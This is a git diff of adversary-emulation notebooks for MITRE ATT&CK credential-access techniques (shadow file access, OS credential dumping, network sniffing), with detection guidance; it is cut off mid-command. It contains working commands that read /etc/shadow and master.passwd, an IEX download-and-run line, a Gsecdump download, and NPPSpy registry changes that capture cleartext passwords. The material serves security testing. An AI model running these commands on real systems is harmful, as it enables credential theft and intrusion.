/etc/shadow\nAdversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n" }, { "cell_type": "markdown", - "id": "9f9093bb", + "id": "840a14c1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "847f714c", + "id": "cb9e837d", "metadata": {}, "source": [ "### Atomic Test #1 - Access /etc/shadow (Local)", @@ -28,132 +28,167 @@ { "cell_type": "code", "execution_count": null, - "id": "f1af5d2e", + "id": "4a4b8df7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "de34f111", + "id": "c0112f0f", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/T1003.008.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f30d031", + "id": "9b09d138", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "639df813", + "id": "b5216f85", "metadata": {}, "source": [ - "### Atomic Test #2 - Access /etc/passwd (Local)", - "/etc/passwd file is accessed in Linux environments\n", + "### Atomic Test #2 - Access /etc/master.passwd (Local)", + "/etc/master.passwd file is accessed in FreeBSD environments\n", "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\ncat /etc/passwd > /tmp/T1003.008.txt\ncat /tmp/T1003.008.txt\n```" + "```sh\nsudo cat /etc/master.passwd > /tmp/T1003.008.txt\ncat /tmp/T1003.008.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "776ffdae", + "id": "d98859d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c653fab3", + "id": "ffd48675", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1003.008.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "15d5065b", + "id": "c1905c74", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "78ca0837", + "id": "2b47665b", "metadata": {}, "source": [ - "### Atomic Test #3 - Access /etc/{shadow,passwd} with a standard bin that's not cat", - "Dump /etc/passwd and /etc/shadow using ed\n", + "### Atomic Test #3 - Access /etc/passwd (Local)", + "/etc/passwd file is accessed in FreeBSD and Linux environments\n", "**Supported Platforms:** linux", - "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\necho -e \"e /etc/passwd\\n,p\\ne /etc/shadow\\n,p\\n\" | ed > /tmp/T1003.008.txt\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /etc/passwd > /tmp/T1003.008.txt\ncat /tmp/T1003.008.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1a0a3c3a", + "id": "8bd22899", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1f3f0886", + "id": "da88eeaf", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm -f /tmp/T1003.008.txt\n```" + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1003.008.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "32d5a0a8", + "id": "eff94827", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "eb3320c6", + "id": "5da4b560", "metadata": {}, "source": [ - "### Atomic Test #4 - Access /etc/{shadow,passwd} with shell builtins", - "Dump /etc/passwd and /etc/shadow using bash builtins\n", + "### Atomic Test #4 - Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat", + "Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nfunction testcat(){ echo \"$(< $1)\"; }\ntestcat /etc/passwd > /tmp/T1003.008.txt\ntestcat /etc/shadow > /tmp/T1003.008.txt\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nunamestr=$(uname)\nif [ \"$unamestr\" = 'Linux' ]; then echo -e \"e /etc/passwd\\n,p\\ne /etc/shadow\\n,p\\n\" | ed > ${output_file}; elif [ \"$unamestr\" = 'FreeBSD' ]; then echo -e \"e /etc/passwd\\n,p\\ne /etc/master.passwd\\n,p\\ne /etc/shadow\\n,p\\n\" | ed > ${output_file}; fi\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9e9f6d9f", + "id": "f3edb354", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "5fbc8604", + "id": "53e49d0b", "metadata": {}, - "source": "#### Cleanup: \n```bash\nrm -f /tmp/T1003.008.txt\n```" + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1003.008.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7f5a6613", + "id": "8a37112e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003.008 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "b5c194b8", + "id": "c28ae45a", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Access /etc/{shadow,passwd,master.passwd} with shell builtins", + "Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh builtins\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ntestcat(){ (while read line; do echo $line >> /tmp/T1003.008.txt; done < $1) }\n[ \"$(uname)\" = 'FreeBSD' ] && testcat /etc/master.passwd\ntestcat /etc/passwd\ntestcat /etc/shadow\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d95f4022", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.008 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "4dc24507", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1003.008.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "df423473", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1003.008 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "fe5852e3", "metadata": {}, "source": "## Detection\nThe AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs." } @@ -161,13 +196,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.ipynb b/playbook/tactics/credential-access/T1003.ipynb index 23390f63..ba93b499 100644 --- a/playbook/tactics/credential-access/T1003.ipynb +++ b/playbook/tactics/credential-access/T1003.ipynb @@ -2,95 +2,95 @@ "cells": [ { "cell_type": "markdown", - "id": "89803352", + "id": "34b5d1a6", "metadata": {}, "source": "# T1003 - OS Credential Dumping\nAdversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n" }, { "cell_type": "markdown", - "id": "ea5ef050", + "id": "1906fb68", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "331e7429", + "id": "584d5e33", "metadata": {}, - "source": "### Atomic Test #1 - Gsecdump\nDump credentials from memory using Gsecdump.\n\nUpon successful execution, you should see domain\\username's followed by two 32 character hashes.\n\nIf you see output that says \"compat: error: failed to create child process\", execution was likely blocked by Anti-Virus. \nYou will receive only error output if you do not run this test from an elevated context (run as administrator)\n\nIf you see a message saying \"The system cannot find the path specified\", try using the get-prereq_commands to download and install Gsecdump first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Gsecdump must exist on disk at specified location (#{gsecdump_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\n$parentpath = Split-Path \"PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe\"; $binpath = \"$parentpath\\gsecdump-v2b5.exe\"\nIEX(IWR \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1\" -UseBasicParsing)\nif(Invoke-WebRequestVerifyHash \"https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe\" \"$binpath\" 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC){\n Move-Item $binpath \"PathToAtomicsFolder\\T1003\\bin\\gsecdump.exe\"\n}\n\n```" + "source": "### Atomic Test #1 - Gsecdump\nDump credentials from memory using Gsecdump.\n\nUpon successful execution, you should see domain\\username's followed by two 32 character hashes.\n\nIf you see output that says \"compat: error: failed to create child process\", execution was likely blocked by Anti-Virus. \nYou will receive only error output if you do not run this test from an elevated context (run as administrator)\n\nIf you see a message saying \"The system cannot find the path specified\", try using the get-prereq_commands to download and install Gsecdump first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Gsecdump must exist on disk at specified location (#{gsecdump_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\gsecdump.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\n$parentpath = Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\gsecdump.exe\"; $binpath = \"$parentpath\\gsecdump-v2b5.exe\"\nIEX(IWR \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1\" -UseBasicParsing)\nif(Invoke-WebRequestVerifyHash \"https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe\" \"$binpath\" 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC){\n Move-Item $binpath \"PathToAtomicsFolder\\..\\ExternalPayloads\\gsecdump.exe\"\n}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1377a76b", + "id": "f8f4e27f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f42e6d99", + "id": "fdbbd7e6", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1003\\bin\\gsecdump.exe -a\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\gsecdump.exe\" -a\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "15815cfb", + "id": "e6be5a78", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6ab6db7f", + "id": "0727b12c", "metadata": {}, - "source": "### Atomic Test #2 - Credential Dumping with NPPSpy\nChanges ProviderOrder Registry Key Parameter and creates Key for NPPSpy.\nAfter user's logging in cleartext password is saved in C:\\NPPSpy.txt.\nClean up deletes the files and reverses Registry changes.\nNPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NPPSpy.dll must be available in local temp directory\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:Temp\\NPPSPY.dll\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile \"$env:Temp\\NPPSPY.dll\"\n```" + "source": "### Atomic Test #2 - Credential Dumping with NPPSpy\nChanges ProviderOrder Registry Key Parameter and creates Key for NPPSpy.\nAfter user's logging in cleartext password is saved in C:\\NPPSpy.txt.\nClean up deletes the files and reverses Registry changes.\nNPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NPPSpy.dll must be available in ExternalPayloads directory\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\NPPSPY.dll\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\NPPSPY.dll\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e97e5499", + "id": "be7283a1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "7814748c", + "id": "b71d4c2f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item \"$env:Temp\\NPPSPY.dll\" -Destination \"C:\\Windows\\System32\"\n$path = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\" -Name PROVIDERORDER\n$UpdatedValue = $Path.PROVIDERORDER + \",NPPSpy\"\nSet-ItemProperty -Path $Path.PSPath -Name \"PROVIDERORDER\" -Value $UpdatedValue\n$rv = New-Item -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy -ErrorAction Ignore\n$rv = New-Item -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"Class\" -Value 2 -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"Name\" -Value NPPSpy -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"ProviderPath\" -PropertyType ExpandString -Value \"%SystemRoot%\\System32\\NPPSPY.dll\" -ErrorAction Ignore\necho \"[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\\NPPSpy.txt\"```" + "```powershell\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\NPPSPY.dll\" -Destination \"C:\\Windows\\System32\"\n$path = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\" -Name PROVIDERORDER\n$UpdatedValue = $Path.PROVIDERORDER + \",NPPSpy\"\nSet-ItemProperty -Path $Path.PSPath -Name \"PROVIDERORDER\" -Value $UpdatedValue\n$rv = New-Item -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy -ErrorAction Ignore\n$rv = New-Item -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"Class\" -Value 2 -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"Name\" -Value NPPSpy -ErrorAction Ignore\n$rv = New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\\NetworkProvider -Name \"ProviderPath\" -PropertyType ExpandString -Value \"%SystemRoot%\\System32\\NPPSPY.dll\" -ErrorAction Ignore\necho \"[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\\NPPSpy.txt\"```" ] }, { "cell_type": "code", "execution_count": null, - "id": "16ea1517", + "id": "3da36f30", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "803a76c4", + "id": "7d4f9462", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$cleanupPath = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\" -Name PROVIDERORDER\n$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER \n$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''\nSet-ItemProperty -Path $cleanupPath.PSPath -Name \"PROVIDERORDER\" -Value $cleanupUpdatedValue\nRemove-Item -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\" -Recurse -ErrorAction Ignore\nRemove-Item C:\\NPPSpy.txt -ErrorAction Ignore\nRemove-Item C:\\Windows\\System32\\NPPSpy.dll -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "c8194fea", + "id": "d4e299f5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "082386d6", + "id": "7251ac0d", "metadata": {}, "source": [ "### Atomic Test #3 - Dump svchost.exe to gather RDP credentials", @@ -104,42 +104,42 @@ { "cell_type": "code", "execution_count": null, - "id": "f9c95ee7", + "id": "8bc03f4d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1d2235f5", + "id": "5ada3b77", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\svchost-exe.dmp -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d992c54", + "id": "8e8a2683", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "acd84a0d", + "id": "9bb52c30", "metadata": {}, "source": "### Atomic Test #4 - Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)\nAppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.\n[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: IIS must be installed prior to running the test\n##### Check Prereq Commands:\n```powershell\nif ((Get-WindowsFeature Web-Server).InstallState -eq \"Installed\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-WindowsFeature -name Web-Server -IncludeManagementTools\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bfabfaf0", + "id": "aeb58780", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a98a5737", + "id": "9d6325cc", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -149,28 +149,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5559f37b", + "id": "5fecf521", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "6389f569", + "id": "6a5f6a7b", "metadata": {}, "source": "### Atomic Test #5 - Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)\nAppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.\n[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: IIS must be installed prior to running the test\n##### Check Prereq Commands:\n```powershell\nif ((Get-WindowsFeature Web-Server).InstallState -eq \"Installed\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-WindowsFeature -name Web-Server -IncludeManagementTools\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf032268", + "id": "b0443134", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b914ddd1", + "id": "2c89c730", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -180,14 +180,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9b0e83ce", + "id": "b9436ee3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "fb4cf593", + "id": "ba973093", "metadata": {}, "source": [ "### Atomic Test #6 - Dump Credential Manager using keymgr.dll and rundll32.exe", @@ -200,20 +200,20 @@ { "cell_type": "code", "execution_count": null, - "id": "9a2be9d5", + "id": "c6f2c955", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "59d4d15b", + "id": "69b0eced", "metadata": {}, "source": "## Detection\n### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs." }, { "cell_type": "markdown", - "id": "c9295232", + "id": "eaf9e94b", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Credentials \n Create user credentials that are used for active defense purposes. \n\n Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) for the purpose of engagement. Decoy credentials can be planted in many locations and leveraged in a variety of ways.\n#### Opportunity\nThere is an opportunity to deploy a tripwire that triggers an alert when an adversary touches a network resource or uses a specific technique.\n#### Use Case\nA defender can seed systems with decoy credentials in a variety of locations and establish alerting that will trigger if an adversary harvests the credentials and attempts to use them.\n#### Procedures\nCreate user credentials for a decoy account, such as 'User ABC'. Store those credentials in the browser and other places on the system to see if an adversary attempts to harvest them.\n" } @@ -221,13 +221,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1040.ipynb b/playbook/tactics/credential-access/T1040.ipynb index be782f42..14cca46a 100644 --- a/playbook/tactics/credential-access/T1040.ipynb +++ b/playbook/tactics/credential-access/T1040.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "c889722f", + "id": "a9657e8f", "metadata": {}, - "source": "# T1040 - Network Sniffing\nAdversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)" + "source": "# T1040 - Network Sniffing\nAdversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)" }, { "cell_type": "markdown", - "id": "36931f7d", + "id": "b7139fc3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "26a562d5", + "id": "e5ccff80", "metadata": {}, "source": "### Atomic Test #1 - Packet Capture Linux using tshark or tcpdump\nPerform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.\n\nUpon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if at least one of tcpdump or tshark is installed.\n\n##### Check Prereq Commands:\n```bash\nif [ ! -x \"$(command -v tcpdump)\" ] && [ ! -x \"$(command -v tshark)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```bash\n(which yum && yum 